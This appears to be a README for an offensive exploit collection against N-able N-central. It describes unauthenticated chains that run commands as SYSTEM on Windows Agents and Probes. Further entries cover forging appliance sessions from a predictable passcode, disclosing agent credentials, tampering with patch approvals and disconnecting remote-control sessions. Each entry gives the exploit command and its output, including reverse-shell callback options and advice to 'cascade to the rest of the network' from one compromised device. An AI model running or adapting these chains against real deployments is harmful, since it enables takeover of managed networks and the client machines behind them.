Agent2Shell: N-central Agent and Probe exploit chains

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Content

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README.md

`MSPNightmare/CVEs` at `288a6b0a312f`, path `0-Days/N-Central N-Able/Agent2Shell/README.md`.

Agent2Shell

This folder contains Windows Agent and Probe RCE chains plus the supporting Agent/appliance protocol primitives reproduced on N-able N-central Appliance 2026.4.1.26 HF2 (`2026.4.1.26-b2026_4_1_26`). Server-side Axis, SIS, XSS, OGNL, NSP, and SysAudit exploits are intentionally excluded.

Please note that you may have to acquire appliance IDs on your own, if you have compromised literally any device with an agent on it, you will have the IDs needed and can cascade to the rest of the network. Additionally, you can just use 4EverAble2Shell but it doesn't really count as a primitive IMO. N-Able burned the primitive I had for unauth appliance ID enum, but im sure there is a way.

If you are suss about the executable you can build it yourself, it's all .net so you can decompile and verify its not malicious as well.

```
mcs -sdk:4 -target:exe \
  -out:agent_codedrop_service.exe \
  -r:System.ServiceProcess.dll \
  agent_codedrop_service.cs
```

Exploit Chains

Anonymous Reactive ProcessController to Windows SYSTEM RCE

A cookie-free `GenericAgentXMPPMessageExchange` injects message ID 20 into an online Windows Agent. Reactive `ProcessController` executes the supplied command directly as `NT AUTHORITY\SYSTEM` without a product credential or user interaction.

```
sh$ python3 anonymous_agent_reactive_rce.py --appliance-id 1486642616 --callback-host
192.168.1.145 --callback-port 18491 --command whoami
http=200
nt authority\system
```

PoC · Output

Use `--lhost <CALLBACK_IP> --lport <PORT>` for an interactive PowerShell reverse shell. The target Agent must be online with the Reactive component enabled.

Anonymous task-output and CodeDrop to Windows Probe RCE

An anonymous MMS2 task-result submission stores an attacker ZIP in the public task-output tree, then sessionless GenericAgent XML delivers CodeDrop message ID 10 to an online Probe. The payload replaces the Probe service executable, runs the command, and restores the vendor executable.

```
sh$ python3 anonymous_agent_codedrop_rce.py --appliance-id 1486642616 --task-id
1746111121 --customer-id 101 --device-id 506682778 --device-uri 127.0.0.1 --task-name
EndpointCarrierOutput --device-name WS-AUDIT-PROBE-20261105 --server-offset -5 --
callback-host 192.168.1.145 --callback-port 18483 --command whoami
upload=200
carrier=scheduled_tasks/output_files/101/506682778/1746111121/EndpointCarrierOutput_WS-
AUDIT-PROBE-20261105_20261111155016.zip
inject=sent
desktop-nqqoech\admin
```

PoC · Payload · Output

Use `--lhost <CALLBACK_IP> --lport <PORT>` for an interactive shell. This chain requires a controlled existing task as the output carrier.

Discovery and Authentication Primitives

Predictable ServerMMS3 appliance credential

The appliance passcode is SHA-256 of the decimal appliance ID, allowing an anonymous caller who knows that ID to mint a JWT and create a protected MMS3 session.

```
sh$ python3 predictable_mms3_passcode.py --target https://n-central.local --appliance-id
<APPLIANCE_ID>
wrong_passcode_http=500
acquire_http=200
confirm_http=200
session_hello_http=200
scan_module_count_http=200
```

PoC · Output

Anonymous appliance-to-device and task mapping

`Task.List` omits session validation for appliance-only queries and for fixed `DeviceID=1`, mapping a known appliance ID to device, customer, task, address, name, and module data.

```
sh$ python3 anonymous_tasklist_appliance_mapper.py --appliance-id 1486642616
build=N-able N-central 2026.4.1.26 HF2
anonymous_http=200 anonymous_count=3
random_session_matches=true
invalid_appliance_http=200 invalid_appliance_count=0
```

PoC · Output

Predictable appliance session reads exact device metadata

A forged MMS3 appliance session is accepted by legacy `Device.GetAdv`, returning full metadata and task names for an exact caller-supplied device ID.

```
sh$ python3 anonymous_devicegetadv_metadata.py --target https://n-central.local --
appliance-id 1486642616 --device-id 947677543
exact_http=200 exact_count=1
device_id=947677543
customer_id=101
uri=192.168.1.39
tasks=LocalIP,Probe Status
adjacent_http=200 adjacent_count=0
```

PoC · Output

Anonymous Ecosystem Agent credential disclosure

The MMS3 configuration path discloses Agent key material that can be transformed into a reusable Ecosystem Agent credential.

```
sh$ python3 anonymous_mms3_ecosystem_credentials.py --target https://n-central.local --
appliance-id <APPLIANCE_ID>
agentKey_present=True
encKey_present=True
invalid_error_code=403 FORBIDDEN
derived_error_code=0
```

PoC · Output

Agent and Appliance State Primitives

Ecosystem credential cross-agent state mutation

The recovered Ecosystem credential is global rather than bound to its source device or customer. It can submit component state for a different Agent/device pair; the PoC records and restores the controlled version field.

```
sh$ python3 anonymous_ecosystem_cross_agent_state.py --appliance-id 1177049630 --target-
agent-id <AGENT_UUID> --target-device-id 947677543 --version 9.9.9-cross-agent --proxy
"$HTTPS_PROXY"
missing_http=401
invalid_http=403
valid_http=200 message_status=AGENT_STAT error=
cleanup_agentcurrentversion_is_null=true
```

PoC · Output

Anonymous Agent asset-state overwrite

`AssetDiscoSimplifiedInfoSubmit` accepts `sessionID=0` for a caller-selected Agent appliance and persists the supplied asset tag without a device secret.

```
sh$ python3 anonymous_agent_asset_state_write.py --target https://n-central.local --
appliance-id <AGENT_APPLIANCE_ID> --control-appliance-id <WINDOWS_APPLIANCE_ID> --value
DESKTOP-NQQOECH
control_http=500
write_http=200
accepted=True
cleanup=UPDATE 1
```

PoC · Output

Anonymous ServerMMS2 cross-appliance mutation

An anonymous session for one appliance can apply a caller-selected action to another appliance because the operation does not bind session identity to its target.

```
sh$ python3 anonymous_mms2_cross_appliance_write.py --target https://n-central.local --
source-appliance <SOURCE_ID> --target-appliance <TARGET_ID> --value <VALUE>
invalid_session_http=500
cross_appliance_readback_matches=True
restored=True
```

PoC · Output

Anonymous maintenance-action read and cancellation

`MaintActionGet` discards its supplied session ID, returns queued `Test` or `Restart` actions for a selected appliance, and deletes them. Use only a deliberately created disposable action.

```
sh$ python3 anonymous_maint_action_dequeue.py --target https://n-central.local --
appliance-id 1177049630 --dequeue
Test
```

PoC · Output

Anonymous patch supersedence and approval revocation

A predictable MMS3 session can submit a new patch naming an existing third-party patch as superseded, causing N-central to change selected install approvals to `Declined`.

```
sh$ python3 anonymous_patch_supersede_decline.py --target https://n-central.local --
appliance-id <APPLIANCE_ID> --target-patch-guid <PATCH_GUID> --proxy "$HTTPS_PROXY"
unauthenticated_control=500
authenticated_submit=200
cleanup_counts=0|0|0|0
```

PoC · Output

Anonymous remote-control heartbeat disconnection

The sessionless heartbeat operation accepts a global task ID, deletes the task's temporary directory, and disconnects the selected task after the missed-heartbeat window.

```
sh$ python3 anonymous_remote_control_heartbeat_disconnect.py <TASK_ID> --target
https://n-central.local --proxy "$HTTPS_PROXY"
http=200
dir_positive=1
dir_control=0
```

PoC · Output

Anonymous MSPA task and audit mutation

`remoteControlMSPAStartEndTimeSubmit` trusts caller-selected task/action identifiers, timestamps, and state without validating a session or signature.

```
sh$ python3 anonymous_mspa_task_state.py <TASK_ID> --session-id <ACTION_UUID> --time
2026-11-11T23:10:00Z --invalid-signature
start_request=200
task_audit=OPEN
device_audit=<ACTION_UUID> state=InProgress
```

PoC · Output

Cross-appliance XMPP action-response forgery

N-central trusts an appliance-supplied `messageUUID` as a global action capability and does not bind the XMPP sender to the referenced appliance, device, customer, or request.

```
sh$ python3 xmpp_cross_appliance_response_forgery.py --origin https://n-central.local --
proxy "$HTTPS_PROXY" --appliance-id <SOURCE_APPLIANCE_ID> --config-xml
<APPLIANCE_CONFIG.xml> --wrong-action-id <CONTROL_UUID> --action-id <ACTION_UUID> --
status Completed --output forged-cross-appliance-output
bosh_authenticated=true
wrong_response_http=200
selected_response_http=200
after_selected=Completed|forged-cross-appliance-output
cleanup_rows=0
```

PoC · Output

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